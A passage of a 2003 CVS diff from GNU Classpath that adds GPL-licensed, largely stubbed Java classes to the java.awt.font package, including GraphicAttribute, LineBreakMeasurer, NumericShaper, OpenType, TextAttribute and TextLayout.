FLAG_HAS_POSITION_ADJUSTMENTS = 2; + public static final int FLAG_HAS_TRANSFORMS = 1; + public static final int FLAG_MASK = 15; + public static final int FLAG_RUN_RTL = 4; + + /** + * Constructs a GlyphVector object. + */ + public GlyphVector () + { + } + + public abstract boolean equals (GlyphVector set); + + public abstract Font getFont (); + + public abstract FontRenderContext getFontRenderContext (); + + public int getGlyphCharIndex (int glyphIndex) + { + throw new Error ("not implemented"); + } + + public int[] getGlyphCharIndices (int beginGlyphIndex, int numEntries, + int[] codeReturn) + { + throw new Error ("not implemented"); + } + + public abstract int getGlyphCode (int glyphIndex); + + public abstract int[] getGlyphCodes (int beginGlyphIndex, int numEntries, + int[] codeReturn); + + public abstract GlyphJustificationInfo getGlyphJustificationInfo + (int glyphIndex); + + public abstract Shape getGlyphLogicalBounds (int glyphIndex); + + public abstract GlyphMetrics getGlyphMetrics (int glyphIndex); + + public abstract Shape getGlyphOutline (int glyphIndex); + + public Shape getGlyphOutline (int glyphIndex, float x, float y) + { + throw new Error ("not implemented"); + } + + public Rectangle getGlyphPixelBounds (int index, FontRenderContext renderFRC, + float x, float y) + { + throw new Error ("not implemented"); + } + + public abstract Point2D getGlyphPosition (int glyphIndex); + + public abstract float[] getGlyphPositions (int beginGlyphIndex, + int numEntries, + float[] positionReturn); + + public abstract AffineTransform getGlyphTransform (int glyphIndex); + + public abstract Shape getGlyphVisualBounds (int glyphIndex); + + public int getLayoutFlags () + { + throw new Error ("not implemented"); + } + + public abstract Rectangle2D getLogicalBounds (); + + public abstract int getNumGlyphs (); + + public abstract Shape getOutline (); + + public abstract Shape getOutline (float x, float y); + + public Rectangle getPixelBounds (FontRenderContext renderFRC, + float x, float y) + { + throw new Error ("not implemented"); + } + + public abstract Rectangle2D getVisualBounds (); + + public abstract void performDefaultLayout (); + + public abstract void setGlyphPosition (int glyphIndex, Point2D newPos); + + public abstract void setGlyphTransform (int glyphIndex, + AffineTransform newTX); +} Index: java/awt/font/GraphicAttribute.java =================================================================== RCS file: java/awt/font/GraphicAttribute.java diff -N java/awt/font/GraphicAttribute.java --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ java/awt/font/GraphicAttribute.java 15 Feb 2003 13:36:47 -0000 @@ -0,0 +1,84 @@ +/* GraphicAttribute.java + Copyright (C) 2003 Free Software Foundation, Inc. + +This file is part of GNU Classpath. + +GNU Classpath is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2, or (at your option) +any later version. + +GNU Classpath is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License +along with GNU Classpath; see the file COPYING. If not, write to the +Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA +02111-1307 USA. + +Linking this library statically or dynamically with other modules is +making a combined work based on this library. Thus, the terms and +conditions of the GNU General Public License cover the whole +combination. + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent +modules, and to copy and distribute the resulting executable under +terms of your choice, provided that you also meet, for each linked +independent module, the terms and conditions of the license of that +module. An independent module is a module which is not derived from +or based on this library. If you modify this library, you may extend +this exception to your version of the library, but you are not +obligated to do so. If you do not wish to do so, delete this +exception statement from your version. */ + + +package java.awt.font; + +import java.awt.Graphics2D; +import java.awt.geom.Rectangle2D; + +/** + * @author Michael Koch + */ +public abstract class GraphicAttribute +{ + public static final int BOTTOM_ALIGNMENT = -2; + public static final int CENTER_BASELINE = 1; + public static final int HANGING_BASELINE = 2; + public static final int ROMAN_BASELINE = 0; + public static final int TOP_ALIGNMENT = -1; + + private int alignment; + + protected GraphicAttribute (int alignment) + { + this.alignment = alignment; + } + + public abstract void draw (Graphics2D graphics, float x, float y); + + public abstract float getAdvance (); + + public int getAlignment () + { + return alignment; + } + + public abstract float getAscent (); + + public Rectangle2D getBounds () + { + throw new Error ("not implemented"); + } + + public abstract float getDescent (); + + public GlyphJustificationInfo getJustificationInfo () + { + throw new Error ("not implemented"); + } +} Index: java/awt/font/ImageGraphicAttribute.java =================================================================== RCS file: java/awt/font/ImageGraphicAttribute.java diff -N java/awt/font/ImageGraphicAttribute.java --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ java/awt/font/ImageGraphicAttribute.java 15 Feb 2003 13:36:47 -0000 @@ -0,0 +1,109 @@ +/* ImageGraphicAttribute.java + Copyright (C) 2003 Free Software Foundation, Inc. + +This file is part of GNU Classpath. + +GNU Classpath is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2, or (at your option) +any later version. + +GNU Classpath is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License +along with GNU Classpath; see the file COPYING. If not, write to the +Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA +02111-1307 USA. + +Linking this library statically or dynamically with other modules is +making a combined work based on this library. Thus, the terms and +conditions of the GNU General Public License cover the whole +combination. + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent +modules, and to copy and distribute the resulting executable under +terms of your choice, provided that you also meet, for each linked +independent module, the terms and conditions of the license of that +module. An independent module is a module which is not derived from +or based on this library. If you modify this library, you may extend +this exception to your version of the library, but you are not +obligated to do so. If you do not wish to do so, delete this +exception statement from your version. */ + + +package java.awt.font; + +import java.awt.Graphics2D; +import java.awt.Image; +import java.awt.geom.Rectangle2D; + +/** + * @author Michael Koch + */ +public class ImageGraphicAttribute extends GraphicAttribute +{ + private Image image; + + public ImageGraphicAttribute (Image image, int alignment) + { + super (alignment); + this.image = image; + } + + public ImageGraphicAttribute (Image image, int alignment, float originX, + float originY) + { + super (alignment); + this.image = image; + + throw new Error ("not implemented"); + } + + public void draw (Graphics2D graphics, float x, float y) + { + throw new Error ("not implemented"); + } + + public boolean equals (Object obj) + { + if (! (obj instanceof ImageGraphicAttribute)) + return false; + + return equals ((ImageGraphicAttribute) obj); + } + + public boolean equals (ImageGraphicAttribute rhs) + { + throw new Error ("not implemented"); + } + + public float getAdvance () + { + throw new Error ("not implemented"); + } + + public float getAscent () + { + throw new Error ("not implemented"); + } + + public Rectangle2D getBounds () + { + throw new Error ("not implemented"); + } + + public float getDescent () + { + throw new Error ("not implemented"); + } + + public int hashCode () + { + throw new Error ("not implemented"); + } +} Index: java/awt/font/LineBreakMeasurer.java =================================================================== RCS file: java/awt/font/LineBreakMeasurer.java diff -N java/awt/font/LineBreakMeasurer.java --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ java/awt/font/LineBreakMeasurer.java 15 Feb 2003 13:36:47 -0000 @@ -0,0 +1,113 @@ +/* LineBreakMeasurer.java + Copyright (C) 2003 Free Software Foundation, Inc. + +This file is part of GNU Classpath. + +GNU Classpath is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2, or (at your option) +any later version. + +GNU Classpath is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License +along with GNU Classpath; see the file COPYING. If not, write to the +Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA +02111-1307 USA. + +Linking this library statically or dynamically with other modules is +making a combined work based on this library. Thus, the terms and +conditions of the GNU General Public License cover the whole +combination. + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent +modules, and to copy and distribute the resulting executable under +terms of your choice, provided that you also meet, for each linked +independent module, the terms and conditions of the license of that +module. An independent module is a module which is not derived from +or based on this library. If you modify this library, you may extend +this exception to your version of the library, but you are not +obligated to do so. If you do not wish to do so, delete this +exception statement from your version. */ + + +package java.awt.font; + +import java.text.AttributedCharacterIterator; +import java.text.BreakIterator; + +public final class LineBreakMeasurer +{ + private AttributedCharacterIterator ci; + private FontRenderContext frc; + private BreakIterator bi; + + /** + * Constracts a LineBreakMeasurer object. + */ + public LineBreakMeasurer (AttributedCharacterIterator text, + FontRenderContext frc) + { + this (text, null, frc); + } + + /** + * Constracts a LineBreakMeasurer object. + */ + public LineBreakMeasurer (AttributedCharacterIterator text, + BreakIterator breakIter, FontRenderContext frc) + { + this.ci = text; + this.bi = breakIter; + this.frc = frc; + } + + public void deleteChar (AttributedCharacterIterator newParagraph, + int deletePos) + { + throw new Error ("not implemented"); + } + + public int getPosition () + { + return ci.getIndex (); + } + + public void insertChar (AttributedCharacterIterator newParagraph, + int insertPos) + { + throw new Error ("not implemented"); + } + + public TextLayout nextLayout (float wrappingWidth) + { + throw new Error ("not implemented"); + } + + public TextLayout nextLayout (float wrappingWidth, int offsetLimit, + boolean requireNextWord) + { + throw new Error ("not implemented"); + } + + public int nextOffset (float wrappingWidth) + { + throw new Error ("not implemented"); + } + + public int nextOffset (float wrappingWidth, int offsetLimit, + boolean requireNextWord) + { + throw new Error ("not implemented"); + } + + public void setPosition (int newPosition) + { + ci.setIndex (newPosition); + } +} Index: java/awt/font/LineMetrics.java =================================================================== RCS file: java/awt/font/LineMetrics.java diff -N java/awt/font/LineMetrics.java --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ java/awt/font/LineMetrics.java 15 Feb 2003 13:36:47 -0000 @@ -0,0 +1,67 @@ +/* LineMetrics.java -- Information about about a line display characteristics + Copyright (C) 2002 Free Software Foundation, Inc. + +This file is part of GNU Classpath. + +GNU Classpath is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2, or (at your option) +any later version. + +GNU Classpath is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License +along with GNU Classpath; see the file COPYING. If not, write to the +Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA +02111-1307 USA. + +Linking this library statically or dynamically with other modules is +making a combined work based on this library. Thus, the terms and +conditions of the GNU General Public License cover the whole +combination. + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent +modules, and to copy and distribute the resulting executable under +terms of your choice, provided that you also meet, for each linked +independent module, the terms and conditions of the license of that +module. An independent module is a module which is not derived from +or based on this library. If you modify this library, you may extend +this exception to your version of the library, but you are not +obligated to do so. If you do not wish to do so, delete this +exception statement from your version. */ + + +package java.awt.font; + +/** + * @author Michael Koch + */ +public abstract class LineMetrics +{ + public abstract float getAscent(); + + public abstract int getBaselineIndex(); + + public abstract float[] getBaselineOffsets(); + + public abstract float getDescent(); + + public abstract float getHeight(); + + public abstract float getLeading(); + + public abstract int getNumChars(); + + public abstract float getStrikethroughOffset(); + + public abstract float getStrikethroughThickness(); + + public abstract float getUnderlineOffset(); + + public abstract float getUnderlineThickness(); +} Index: java/awt/font/MultipleMaster.java =================================================================== RCS file: java/awt/font/MultipleMaster.java diff -N java/awt/font/MultipleMaster.java --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ java/awt/font/MultipleMaster.java 15 Feb 2003 13:36:47 -0000 @@ -0,0 +1,61 @@ +/* MultipleMaster.java + Copyright (C) 2003 Free Software Foundation, Inc. + +This file is part of GNU Classpath. + +GNU Classpath is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2, or (at your option) +any later version. + +GNU Classpath is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License +along with GNU Classpath; see the file COPYING. If not, write to the +Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA +02111-1307 USA. + +Linking this library statically or dynamically with other modules is +making a combined work based on this library. Thus, the terms and +conditions of the GNU General Public License cover the whole +combination. + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent +modules, and to copy and distribute the resulting executable under +terms of your choice, provided that you also meet, for each linked +independent module, the terms and conditions of the license of that +module. An independent module is a module which is not derived from +or based on this library. If you modify this library, you may extend +this exception to your version of the library, but you are not +obligated to do so. If you do not wish to do so, delete this +exception statement from your version. */ + + +package java.awt.font; + +import java.awt.Font; + +/** + * @author Michael Koch + */ +public interface MultipleMaster +{ + public Font deriveMMFont (float[] axes); + + public Font deriveMMFont (float[] glyphWidths, float avgStemWidth, + float typicalCapHeight, float typicalXHeight, + float italicAngle); + + public float[] getDesignAxisDefaults (); + + public String[] getDesignAxisNames (); + + public float[] getDesignAxisRanges (); + + public int getNumDesignAxes (); +} Index: java/awt/font/NumericShaper.java =================================================================== RCS file: java/awt/font/NumericShaper.java diff -N java/awt/font/NumericShaper.java --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ java/awt/font/NumericShaper.java 15 Feb 2003 13:36:47 -0000 @@ -0,0 +1,137 @@ +/* NumericShaper.java + Copyright (C) 2003 Free Software Foundation, Inc. + +This file is part of GNU Classpath. + +GNU Classpath is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2, or (at your option) +any later version. + +GNU Classpath is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License +along with GNU Classpath; see the file COPYING. If not, write to the +Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA +02111-1307 USA. + +Linking this library statically or dynamically with other modules is +making a combined work based on this library. Thus, the terms and +conditions of the GNU General Public License cover the whole +combination. + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent +modules, and to copy and distribute the resulting executable under +terms of your choice, provided that you also meet, for each linked +independent module, the terms and conditions of the license of that +module. An independent module is a module which is not derived from +or based on this library. If you modify this library, you may extend +this exception to your version of the library, but you are not +obligated to do so. If you do not wish to do so, delete this +exception statement from your version. */ + + +package java.awt.font; + +import java.io.Serializable; + +/** + * @author Michael Koch + * @since 1.4 + */ +public final class NumericShaper implements Serializable +{ + private static final long serialVersionUID = -8022764705923730308L; + + public static final int ALL_RANGES = 524287; + public static final int ARABIC = 2; + public static final int BENGALI = 16; + public static final int DEVANAGARI = 8; + public static final int EASTERN_ARABIC = 4; + public static final int ETHIOPIC = 65536; + public static final int EUROPEAN = 1; + public static final int GUJARATI = 64; + public static final int GURMUKHI = 32; + public static final int KANNADA = 1024; + public static final int KHMER = 131072; + public static final int LAO = 8192; + public static final int MALAYALAM = 2048; + public static final int MONGOLIAN = 262144; + public static final int MYANMAR = 32768; + public static final int ORIYA = 128; + public static final int TAMIL = 256; + public static final int TELUGU = 512; + public static final int THAI = 4096; + public static final int TIBETAN = 16384; + + private int ranges; + private int context; + + private NumericShaper (int ranges, int context) + { + this.ranges = ranges; + this.context = context; + } + + public boolean equals (Object obj) + { + if (! (obj instanceof NumericShaper)) + return false; + + NumericShaper tmp = (NumericShaper) obj; + + return (ranges == tmp.ranges + && context == tmp.context); + } + + public static NumericShaper getContextualShaper (int ranges) + { + throw new Error ("not implemented"); + } + + public static NumericShaper getContextualShaper (int ranges, + int defaultContext) + { + throw new Error ("not implemented"); + } + + public int getRanges () + { + return ranges; + } + + public static NumericShaper getShaper (int singleRange) + { + throw new Error ("not implemented"); + } + + public int hashCode () + { + throw new Error ("not implemented"); + } + + public boolean isContextual () + { + throw new Error ("not implemented"); + } + + public void shape (char[] text, int start, int count) + { + shape (text, start, count, context); + } + + public void shape (char[] text, int start, int count, int context) + { + throw new Error ("not implemented"); + } + + public String toString () + { + throw new Error ("not implemented"); + } +} Index: java/awt/font/OpenType.java =================================================================== RCS file: java/awt/font/OpenType.java diff -N java/awt/font/OpenType.java --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ java/awt/font/OpenType.java 15 Feb 2003 13:36:47 -0000 @@ -0,0 +1,111 @@ +/* OpenType.java + Copyright (C) 2003 Free Software Foundation, Inc. + +This file is part of GNU Classpath. + +GNU Classpath is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2, or (at your option) +any later version. + +GNU Classpath is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License +along with GNU Classpath; see the file COPYING. If not, write to the +Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA +02111-1307 USA. + +Linking this library statically or dynamically with other modules is +making a combined work based on this library. Thus, the terms and +conditions of the GNU General Public License cover the whole +combination. + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent +modules, and to copy and distribute the resulting executable under +terms of your choice, provided that you also meet, for each linked +independent module, the terms and conditions of the license of that +module. An independent module is a module which is not derived from +or based on this library. If you modify this library, you may extend +this exception to your version of the library, but you are not +obligated to do so. If you do not wish to do so, delete this +exception statement from your version. */ + + +package java.awt.font; + +/** + * @author Michael Koch + */ +public interface OpenType +{ + int TAG_ACNT = 1633906292; + int TAG_AVAR = 1635148146; + int TAG_BASE = 1111577413; + int TAG_BDAT = 1650745716; + int TAG_BLOC = 1651273571; + int TAG_BSLN = 1651731566; + int TAG_CFF = 1128678944; + int TAG_CMAP = 1668112752; + int TAG_CVAR = 1668702578; + int TAG_CVT = 1668707360; + int TAG_DSIG = 1146308935; + int TAG_EBDT = 1161970772; + int TAG_EBLC = 1161972803; + int TAG_EBSC = 1161974595; + int TAG_FDSC = 1717859171; + int TAG_FEAT = 1717920116; + int TAG_FMTX = 1718449272; + int TAG_FPGM = 1718642541; + int TAG_FVAR = 1719034226; + int TAG_GASP = 1734439792; + int TAG_GDEF = 1195656518; + int TAG_GLYF = 1735162214; + int TAG_GPOS = 1196445523; + int TAG_GSUB = 1196643650; + int TAG_GVAR = 1735811442; + int TAG_HDMX = 1751412088; + int TAG_HEAD = 1751474532; + int TAG_HHEA = 1751672161; + int TAG_HMTX = 1752003704; + int TAG_JSTF = 1246975046; + int TAG_JUST = 1786082164; + int TAG_KERN = 1801810542; + int TAG_LCAR = 1818452338; + int TAG_LOCA = 1819239265; + int TAG_LTSH = 1280594760; + int TAG_MAXP = 1835104368; + int TAG_MMFX = 1296909912; + int TAG_MMSD = 1296913220; + int TAG_MORT = 1836020340; + int TAG_NAME = 1851878757; + int TAG_OPBD = 1836020340; + int TAG_OS2 = 1330851634; + int TAG_PCLT = 1346587732; + int TAG_POST = 1886352244; + int TAG_PREP = 1886545264; + int TAG_PROP = 1886547824; + int TAG_TRAK = 1953653099; + int TAG_TYP1 = 1954115633; + int TAG_VDMX = 1447316824; + int TAG_VHEA = 1986553185; + int TAG_VMTX = 1986884728; + + public byte[] getFontTable (int sfntTag); + + public byte[] getFontTable (int sfntTag, int offset, int count); + + public byte[] getFontTable (String strSfntTag); + + public byte[] getFontTable (String strSfntTag, int offset, int count); + + public int getFontTableSize (int sfntTag); + + public int getFontTableSize (String strSfntTag); + + public int getVersion (); +} Index: java/awt/font/ShapeGraphicAttribute.java =================================================================== RCS file: java/awt/font/ShapeGraphicAttribute.java diff -N java/awt/font/ShapeGraphicAttribute.java --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ java/awt/font/ShapeGraphicAttribute.java 15 Feb 2003 13:36:47 -0000 @@ -0,0 +1,105 @@ +/* ShapeGraphicAttribute.java + Copyright (C) 2003 Free Software Foundation, Inc. + +This file is part of GNU Classpath. + +GNU Classpath is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2, or (at your option) +any later version. + +GNU Classpath is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License +along with GNU Classpath; see the file COPYING. If not, write to the +Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA +02111-1307 USA. + +Linking this library statically or dynamically with other modules is +making a combined work based on this library. Thus, the terms and +conditions of the GNU General Public License cover the whole +combination. + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent +modules, and to copy and distribute the resulting executable under +terms of your choice, provided that you also meet, for each linked +independent module, the terms and conditions of the license of that +module. An independent module is a module which is not derived from +or based on this library. If you modify this library, you may extend +this exception to your version of the library, but you are not +obligated to do so. If you do not wish to do so, delete this +exception statement from your version. */ + + +package java.awt.font; + +import java.awt.Graphics2D; +import java.awt.Shape; +import java.awt.geom.Rectangle2D; + +public final class ShapeGraphicAttribute extends GraphicAttribute +{ + public static final boolean FILL = false; + public static final boolean STROKE = true; + + private Shape shape; + private boolean stroke; + + public ShapeGraphicAttribute (Shape shape, int alignment, boolean stroke) + { + super (alignment); + this.shape = shape; + this.stroke = stroke; + } + + public void draw (Graphics2D graphics, float x, float y) + { + throw new Error ("not implemented"); + } + + public boolean equals (Object obj) + { + if (! (obj instanceof ShapeGraphicAttribute)) + return false; + + return equals ((ShapeGraphicAttribute) obj); + } + + public boolean equals (ShapeGraphicAttribute rhs) + { + return (shape.equals (rhs.shape) + && getAlignment () == rhs.getAlignment () + && stroke == rhs.stroke); + } + + public float getAdvance () + { + throw new Error ("not implemented"); + } + + public float getAscent () + { + throw new Error ("not implemented"); + } + + public Rectangle2D getBounds () + { + return shape.getBounds2D (); + } + + public float getDescent () + { + throw new Error ("not implemented"); + } + + public int hashCode () + { + // FIXME: Check what SUN does here + return shape.hashCode (); + } +} Index: java/awt/font/TextAttribute.java =================================================================== RCS file: java/awt/font/TextAttribute.java diff -N java/awt/font/TextAttribute.java --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ java/awt/font/TextAttribute.java 15 Feb 2003 13:36:47 -0000 @@ -0,0 +1,121 @@ +/* TextAttribute.java + Copyright (C) 2003 Free Software Foundation, Inc. + +This file is part of GNU Classpath. + +GNU Classpath is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2, or (at your option) +any later version. + +GNU Classpath is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License +along with GNU Classpath; see the file COPYING. If not, write to the +Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA +02111-1307 USA. + +Linking this library statically or dynamically with other modules is +making a combined work based on this library. Thus, the terms and +conditions of the GNU General Public License cover the whole +combination. + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent +modules, and to copy and distribute the resulting executable under +terms of your choice, provided that you also meet, for each linked +independent module, the terms and conditions of the license of that +module. An independent module is a module which is not derived from +or based on this library. If you modify this library, you may extend +this exception to your version of the library, but you are not +obligated to do so. If you do not wish to do so, delete this +exception statement from your version. */ + + +package java.awt.font; + +import java.text.AttributedCharacterIterator; + +public final class TextAttribute extends AttributedCharacterIterator.Attribute +{ + private static final long serialVersionUID = 7744112784117861702L; + + public static final TextAttribute BACKGROUND = + new TextAttribute ("BACKGROUND"); + public static final TextAttribute BIDI_EMBEDDING = + new TextAttribute ("BIDI_EMBEDDING"); + public static final TextAttribute CHAR_REPLACEMENT = + new TextAttribute ("CHAR_REPLACEMENT"); + public static final TextAttribute FAMILY = new TextAttribute ("FAMILY"); + public static final TextAttribute FONT = new TextAttribute ("FONT"); + public static final TextAttribute FOREGROUND = + new TextAttribute ("FOREGROUND"); + public static final TextAttribute INPUT_METHOD_HIGHLIGHT = + new TextAttribute ("INPUT_METHOD_HIGHLIGHT"); + public static final TextAttribute INPUT_METHOD_UNDERLINE = + new TextAttribute ("INPUT_METHOD_UNDERLINE"); + public static final TextAttribute JUSTIFICATION = + new TextAttribute ("JUSTIFICATION"); + public static final Float JUSTIFICATION_FULL = new Float (1.0); + public static final Float JUSTIFICATION_NONE = new Float (0.0); + public static final TextAttribute NUMERIC_SHAPING = + new TextAttribute ("NUMERIC_SHAPING"); + public static final TextAttribute POSTURE = new TextAttribute ("POSTURE"); + public static final Float POSTURE_OBLIQUE = new Float (0.2); + public static final Float POSTURE_REGULAR = new Float (0.0); + public static final TextAttribute RUN_DIRECTION = + new TextAttribute ("RUN_DIRECTION"); + public static final Boolean RUN_DIRECTION_LTR = new Boolean (true); + public static final Boolean RUN_DIRECTION_RTL = new Boolean (false); + public static final TextAttribute SIZE = new TextAttribute ("SIZE"); + public static final TextAttribute STRIKETHROUGH = + new TextAttribute ("STRIKETHROUGH"); + public static final Boolean STRIKETHROUGH_ON = new Boolean (true); + public static final TextAttribute SUPERSCRIPT = + new TextAttribute ("SUPERSCRIPT"); + public static final Integer SUPERSCRIPT_SUB = new Integer (-1); + public static final Integer SUPERSCRIPT_SUPER = new Integer (1); + public static final TextAttribute SWAP_COLORS = + new TextAttribute ("SWAP_COLORS"); + public static final Boolean SWAP_COLORS_ON = new Boolean (true); + public static final TextAttribute TRANSFORM = new TextAttribute ("TRANSFORM"); + public static final TextAttribute UNDERLINE = new TextAttribute ("UNDERLINE"); + public static final Integer UNDERLINE_LOW_DASHED = new Integer (0); + public static final Integer UNDERLINE_LOW_DOTTED = new Integer (0); + public static final Integer UNDERLINE_LOW_GRAY = new Integer (0); + public static final Integer UNDERLINE_LOW_ONE_PIXEL = new Integer (0); + public static final Integer UNDERLINE_LOW_TWO_PIXEL = new Integer (0); + public static final Integer UNDERLINE_ON = new Integer (0); + public static final TextAttribute WEIGHT = new TextAttribute ("WEIGHT"); + public static final Float WEIGHT_BOLD = new Float (2.0); + public static final Float WEIGHT_DEMIBOLD = new Float (1.75); + public static final Float WEIGHT_DEMILIGHT = new Float (0.875); + public static final Float WEIGHT_EXTRA_LIGHT = new Float (0.5); + public static final Float WEIGHT_EXTRABOLD = new Float (2.5); + public static final Float WEIGHT_HEAVY = new Float (2.25); + public static final Float WEIGHT_LIGHT = new Float (0.75); + public static final Float WEIGHT_MEDIUM = new Float (1.5); + public static final Float WEIGHT_REGULAR = new Float (1.0); + public static final Float WEIGHT_SEMIBOLD = new Float (1.25); + public static final Float WEIGHT_ULTRABOLD = new Float (2.75); + public static final TextAttribute WIDTH = new TextAttribute (""); + public static final Float WIDTH_CONDENSED = new Float (0.75); + public static final Float WIDTH_EXTENDED = new Float (1.5); + public static final Float WIDTH_REGULAR = new Float (1.0); + public static final Float WIDTH_SEMI_CONDENSED = new Float (0.875); + public static final Float WIDTH_SEMI_EXTENDED = new Float (1.25); + + protected TextAttribute (String name) + { + super (name); + } + + protected Object readResolve () + { + throw new Error ("not implemented"); + } +} Index: java/awt/font/TextLayout.java =================================================================== RCS file: java/awt/font/TextLayout.java diff -N java/awt/font/TextLayout.java --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ java/awt/font/TextLayout.java 15 Feb 2003 13:36:47 -0000 @@ -0,0 +1,321 @@ +/* TextLayout.java + Copyright (C) 2003 Free Software Foundation, Inc. + +This file is part of GNU Classpath. + +GNU Classpath is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2, or (at your option) +any later version. + +GNU Classpath is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License +along with GNU Classpath; see the file COPYING. If not, write to the +Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA +02111-1307 USA. + +Linking this library statically or dynamically with other modules is +making a combined work based on this library. Thus, the terms and +conditions of the GNU General Public License cover the whole +combination. + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent +modules, and to copy and distribute the resulting executable under +terms of your choice, provided that you also meet, for each linked +independent module, the terms and conditions of the license of that +module. An independent module is a module which is not derived from +or based on this library. If you modify this library, you may extend +this exception to your version of the library, but you are not +obligated to do so. If you do not wish to do so, delete this +exception statement from your version. */ + + +package java.awt.font; + +import java.awt.Font; +import java.awt.Graphics2D; +import java.awt.Shape; +import java.awt.geom.AffineTransform; +import java.awt.geom.Rectangle2D; +import java.text.AttributedCharacterIterator; +import java.util.Map; + +/** + * @author Michael Koch + */ +public final class TextLayout implements Cloneable +{ + public static final CaretPolicy DEFAULT_CARET_POLICY = new CaretPolicy (); + + public static class CaretPolicy + { + public CaretPolicy () + { + // Do nothing here. + } + + public TextHitInfo getStrongCaret (TextHitInfo hit1, TextHitInfo hit2, + TextLayout layout) + { + throw new Error ("not implemented"); + } + } + + private FontRenderContext fontRenderContext; + + public TextLayout (AttributedCharacterIterator text, FontRenderContext frc) + { + // FIXME + this.fontRenderContext = frc; + } + + public TextLayout (String string, Font font, FontRenderContext frc) + { + // FIXME + this.fontRenderContext = frc; + } + + public TextLayout (String string, Map attributes, FontRenderContext frc) + { + // FIXME + this.fontRenderContext = frc; + } + + protected Object clone () + { + try + { + return super.clone (); + } + catch (CloneNotSupportedException e) + { + // This should never occur + throw new InternalError (); + } + } + + public void draw (Graphics2D g2, float x, float y) + { + throw new Error ("not implemented"); + } + + public boolean equals (Object obj) + { + if (! (obj instanceof TextLayout)) + return false; + + return equals ((TextLayout) obj); + } + + public boolean equals (TextLayout tl) + { + 